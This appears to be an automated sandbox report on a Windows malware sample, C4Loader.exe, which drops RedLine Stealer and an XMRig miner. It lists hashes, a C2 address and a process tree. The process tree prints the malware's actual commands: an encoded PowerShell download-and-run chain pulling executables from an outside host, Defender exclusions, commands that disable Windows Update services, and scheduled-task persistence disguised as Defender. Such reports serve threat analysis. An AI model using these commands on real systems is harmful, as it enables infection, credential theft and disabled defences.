Analysis
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max time kernel
93s -
max time network
95s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
16-11-2022 14:10
Static task
static1
Behavioral task
behavioral1
Sample
C4Loader.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
C4Loader.exe
Resource
win10v2004-20221111-en
General
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Target
C4Loader.exe
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Size
451KB
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MD5
6ebfb1bc4aef4886d38fbb5170371b58
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SHA1
084b3f0910c3fcf8a4cfeed2428ff786b94f3759
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SHA256
dcdf6845df1e1aed6f335dd6f2a3ff7351984522235937e5c4a1c746c7fe4371
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SHA512
c041161a616de51ebe98e01c93e710ccf177a52f998376808b56e6e624c40729377298335fde0092b2472af3acd8e9b417701f23c4afc24053e837f17346300a
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SSDEEP
6144:aO6T/AiMhIbmjE1RrkHDS83avj7hPBV8MvqndNrhuCJm/rGlnrxZOc:cT/yIKjE1RrkHDS83aHTehuCJwGlnXJ
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/1724-93-0x0000000000080000-0x00000000000A0000-memory.dmp family_redline behavioral1/memory/1724-98-0x000000000009ADAE-mapping.dmp family_redline behavioral1/memory/1724-99-0x0000000000080000-0x00000000000A0000-memory.dmp family_redline behavioral1/memory/1724-100-0x0000000000080000-0x00000000000A0000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
Processes:
SmartDefRun.exeSmartScreenQC.exedialer.exedescription pid process target process PID 2028 created 1280 2028 SmartDefRun.exe Explorer.EXE PID 2028 created 1280 2028 SmartDefRun.exe Explorer.EXE PID 2028 created 1280 2028 SmartDefRun.exe Explorer.EXE PID 2028 created 1280 2028 SmartDefRun.exe Explorer.EXE PID 2028 created 1280 2028 SmartDefRun.exe Explorer.EXE PID 1476 created 1280 1476 SmartScreenQC.exe Explorer.EXE PID 1476 created 1280 1476 SmartScreenQC.exe Explorer.EXE PID 1476 created 1280 1476 SmartScreenQC.exe Explorer.EXE PID 1476 created 1280 1476 SmartScreenQC.exe Explorer.EXE PID 1636 created 1280 1636 dialer.exe Explorer.EXE PID 1476 created 1280 1476 SmartScreenQC.exe Explorer.EXE PID 1476 created 1280 1476 SmartScreenQC.exe Explorer.EXE -
XMRig Miner payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/392-196-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1120 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 2 IoCs
Processes:
SmartDefRun.exeSmartScreenQC.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe File created C:\Windows\System32\drivers\etc\hosts SmartScreenQC.exe -
Executes dropped EXE 4 IoCs
Processes:
new2.exeSysApp.exeSmartDefRun.exeSmartScreenQC.exepid process 1156 new2.exe 1592 SysApp.exe 2028 SmartDefRun.exe 1476 SmartScreenQC.exe -
Stops running service(s) 3 TTPs
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Processes:
resource yara_rule behavioral1/memory/392-196-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Loads dropped DLL 6 IoCs
Processes:
powershell.exetaskeng.exepid process 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1404 taskeng.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Drops file in System32 directory 6 IoCs
Processes:
powershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 6 IoCs
Processes:
C4Loader.exenew2.exeSmartDefRun.exeC4Loader.exeSmartScreenQC.exedescription pid process target process PID 1368 set thread context of 900 1368 C4Loader.exe vbc.exe PID 1156 set thread context of 1724 1156 new2.exe vbc.exe PID 2028 set thread context of 1892 2028 SmartDefRun.exe dialer.exe PID 1144 set thread context of 336 1144 C4Loader.exe vbc.exe PID 1476 set thread context of 1636 1476 SmartScreenQC.exe dialer.exe PID 1476 set thread context of 392 1476 SmartScreenQC.exe dialer.exe -
Drops file in Program Files directory 4 IoCs
Processes:
SmartDefRun.exeSmartScreenQC.execmd.execmd.exedescription ioc process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe File created C:\Program Files\Google\Libs\WR64.sys SmartScreenQC.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1328 sc.exe 1140 sc.exe 932 sc.exe 1492 sc.exe 576 sc.exe 1664 sc.exe 1824 sc.exe 1560 sc.exe 1196 sc.exe 940 sc.exe -
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 896 1368 WerFault.exe C4Loader.exe 1072 1144 WerFault.exe C4Loader.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 1500 schtasks.exe 1732 schtasks.exe 1536 schtasks.exe -
Modifies data under HKEY_USERS 8 IoCs
Processes:
WMIC.exedialer.exepowershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\Certificates dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\CRLs dialer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\CTLs dialer.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 407d7d49c5f9d801 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 48 IoCs
Processes:
powershell.exeSmartDefRun.exeSysApp.exepowershell.exepowershell.exevbc.exepowershell.exeSmartScreenQC.exepowershell.exepowershell.exedialer.exepowershell.EXEdialer.exepid process 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 1120 powershell.exe 2028 SmartDefRun.exe 2028 SmartDefRun.exe 1592 SysApp.exe 1592 SysApp.exe 1592 SysApp.exe 1592 SysApp.exe 1592 SysApp.exe 1888 powershell.exe 2028 SmartDefRun.exe 2028 SmartDefRun.exe 2028 SmartDefRun.exe 2028 SmartDefRun.exe 944 powershell.exe 2028 SmartDefRun.exe 2028 SmartDefRun.exe 2028 SmartDefRun.exe 2028 SmartDefRun.exe 1724 vbc.exe 680 powershell.exe 1476 SmartScreenQC.exe 1476 SmartScreenQC.exe 1944 powershell.exe 1476 SmartScreenQC.exe 1476 SmartScreenQC.exe 1476 SmartScreenQC.exe 1476 SmartScreenQC.exe 1620 powershell.exe 1476 SmartScreenQC.exe 1476 SmartScreenQC.exe 1636 dialer.exe 1636 dialer.exe 1020 powershell.EXE 1476 SmartScreenQC.exe 1476 SmartScreenQC.exe 1476 SmartScreenQC.exe 1476 SmartScreenQC.exe 392 dialer.exe 392 dialer.exe 392 dialer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 468 -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
powershell.exepowershell.exepowershell.exevbc.exepowershell.exepowershell.exepowershell.exepowershell.EXEWMIC.exedialer.exedescription pid process Token: SeDebugPrivilege 1120 powershell.exe Token: SeDebugPrivilege 1888 powershell.exe Token: SeDebugPrivilege 944 powershell.exe Token: SeDebugPrivilege 1724 vbc.exe Token: SeDebugPrivilege 680 powershell.exe Token: SeDebugPrivilege 1944 powershell.exe Token: SeDebugPrivilege 1620 powershell.exe Token: SeDebugPrivilege 1020 powershell.EXE Token: SeAssignPrimaryTokenPrivilege 1824 WMIC.exe Token: SeIncreaseQuotaPrivilege 1824 WMIC.exe Token: SeSecurityPrivilege 1824 WMIC.exe Token: SeTakeOwnershipPrivilege 1824 WMIC.exe Token: SeLoadDriverPrivilege 1824 WMIC.exe Token: SeSystemtimePrivilege 1824 WMIC.exe Token: SeBackupPrivilege 1824 WMIC.exe Token: SeRestorePrivilege 1824 WMIC.exe Token: SeShutdownPrivilege 1824 WMIC.exe Token: SeSystemEnvironmentPrivilege 1824 WMIC.exe Token: SeUndockPrivilege 1824 WMIC.exe Token: SeManageVolumePrivilege 1824 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1824 WMIC.exe Token: SeIncreaseQuotaPrivilege 1824 WMIC.exe Token: SeSecurityPrivilege 1824 WMIC.exe Token: SeTakeOwnershipPrivilege 1824 WMIC.exe Token: SeLoadDriverPrivilege 1824 WMIC.exe Token: SeSystemtimePrivilege 1824 WMIC.exe Token: SeBackupPrivilege 1824 WMIC.exe Token: SeRestorePrivilege 1824 WMIC.exe Token: SeShutdownPrivilege 1824 WMIC.exe Token: SeSystemEnvironmentPrivilege 1824 WMIC.exe Token: SeUndockPrivilege 1824 WMIC.exe Token: SeManageVolumePrivilege 1824 WMIC.exe Token: SeDebugPrivilege 1020 powershell.EXE Token: SeLockMemoryPrivilege 392 dialer.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
C4Loader.exevbc.exepowershell.exenew2.execmd.exedescription pid process target process PID 1368 wrote to memory of 976 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 976 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 976 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 976 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 900 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 900 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 900 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 900 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 900 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 900 1368 C4Loader.exe vbc.exe PID 1368 wrote to memory of 896 1368 C4Loader.exe WerFault.exe PID 1368 wrote to memory of 896 1368 C4Loader.exe WerFault.exe PID 1368 wrote to memory of 896 1368 C4Loader.exe WerFault.exe PID 1368 wrote to memory of 896 1368 C4Loader.exe WerFault.exe PID 900 wrote to memory of 1120 900 vbc.exe powershell.exe PID 900 wrote to memory of 1120 900 vbc.exe powershell.exe PID 900 wrote to memory of 1120 900 vbc.exe powershell.exe PID 900 wrote to memory of 1120 900 vbc.exe powershell.exe PID 1120 wrote to memory of 1144 1120 powershell.exe C4Loader.exe PID 1120 wrote to memory of 1144 1120 powershell.exe C4Loader.exe PID 1120 wrote to memory of 1144 1120 powershell.exe C4Loader.exe PID 1120 wrote to memory of 1144 1120 powershell.exe C4Loader.exe PID 1120 wrote to memory of 1156 1120 powershell.exe new2.exe PID 1120 wrote to memory of 1156 1120 powershell.exe new2.exe PID 1120 wrote to memory of 1156 1120 powershell.exe new2.exe PID 1120 wrote to memory of 1156 1120 powershell.exe new2.exe PID 1120 wrote to memory of 1592 1120 powershell.exe SysApp.exe PID 1120 wrote to memory of 1592 1120 powershell.exe SysApp.exe PID 1120 wrote to memory of 1592 1120 powershell.exe SysApp.exe PID 1120 wrote to memory of 1592 1120 powershell.exe SysApp.exe PID 1120 wrote to memory of 2028 1120 powershell.exe SmartDefRun.exe PID 1120 wrote to memory of 2028 1120 powershell.exe SmartDefRun.exe PID 1120 wrote to memory of 2028 1120 powershell.exe SmartDefRun.exe PID 1120 wrote to memory of 2028 1120 powershell.exe SmartDefRun.exe PID 1156 wrote to memory of 1724 1156 new2.exe vbc.exe PID 1156 wrote to memory of 1724 1156 new2.exe vbc.exe PID 1156 wrote to memory of 1724 1156 new2.exe vbc.exe PID 1156 wrote to memory of 1724 1156 new2.exe vbc.exe PID 1156 wrote to memory of 1724 1156 new2.exe vbc.exe PID 1156 wrote to memory of 1724 1156 new2.exe vbc.exe PID 1696 wrote to memory of 1196 1696 cmd.exe sc.exe PID 1696 wrote to memory of 1196 1696 cmd.exe sc.exe PID 1696 wrote to memory of 1196 1696 cmd.exe sc.exe PID 1696 wrote to memory of 940 1696 cmd.exe sc.exe PID 1696 wrote to memory of 940 1696 cmd.exe sc.exe PID 1696 wrote to memory of 940 1696 cmd.exe sc.exe PID 1696 wrote to memory of 932 1696 cmd.exe sc.exe PID 1696 wrote to memory of 932 1696 cmd.exe sc.exe PID 1696 wrote to memory of 932 1696 cmd.exe sc.exe PID 1696 wrote to memory of 1492 1696 cmd.exe sc.exe PID 1696 wrote to memory of 1492 1696 cmd.exe sc.exe PID 1696 wrote to memory of 1492 1696 cmd.exe sc.exe PID 1696 wrote to memory of 576 1696 cmd.exe sc.exe PID 1696 wrote to memory of 576 1696 cmd.exe sc.exe PID 1696 wrote to memory of 576 1696 cmd.exe sc.exe PID 1696 wrote to memory of 1328 1696 cmd.exe reg.exe PID 1696 wrote to memory of 1328 1696 cmd.exe reg.exe PID 1696 wrote to memory of 1328 1696 cmd.exe reg.exe PID 1696 wrote to memory of 1188 1696 cmd.exe reg.exe PID 1696 wrote to memory of 1188 1696 cmd.exe reg.exe PID 1696 wrote to memory of 1188 1696 cmd.exe reg.exe PID 1696 wrote to memory of 560 1696 cmd.exe reg.exe PID 1696 wrote to memory of 560 1696 cmd.exe reg.exe PID 1696 wrote to memory of 560 1696 cmd.exe reg.exe
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AcgBwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBiAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBlAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACwAIAA8ACMAZQB0AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAGcAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAKQA8ACMAZQB0AHMAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAG4AZQB3ADIALgBlAHgAZQAnACwAIAA8ACMAcgBiAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHAAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGUAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBuAGUAdwAyAC4AZQB4AGUAJwApACkAPAAjAGYAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBsAHAAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAcwBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbQB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAG4AdABrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAegB6AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB5AGgAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAHgAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcQB4AHoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagB0AG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAYwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQA8ACMAaABxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBnAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAawB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAGsAcgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbQByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAZgBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABmAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAaQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQA8ACMAYgBwAHMAIwA+AA=="4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Suspicious use of SetThreadContext
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1144 -s 366⤵
- Program crash
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 363⤵
- Program crash
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#waqsnj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsDefenderSmartScreenQC" } Else { "C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn WindowsDefenderSmartScreenQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
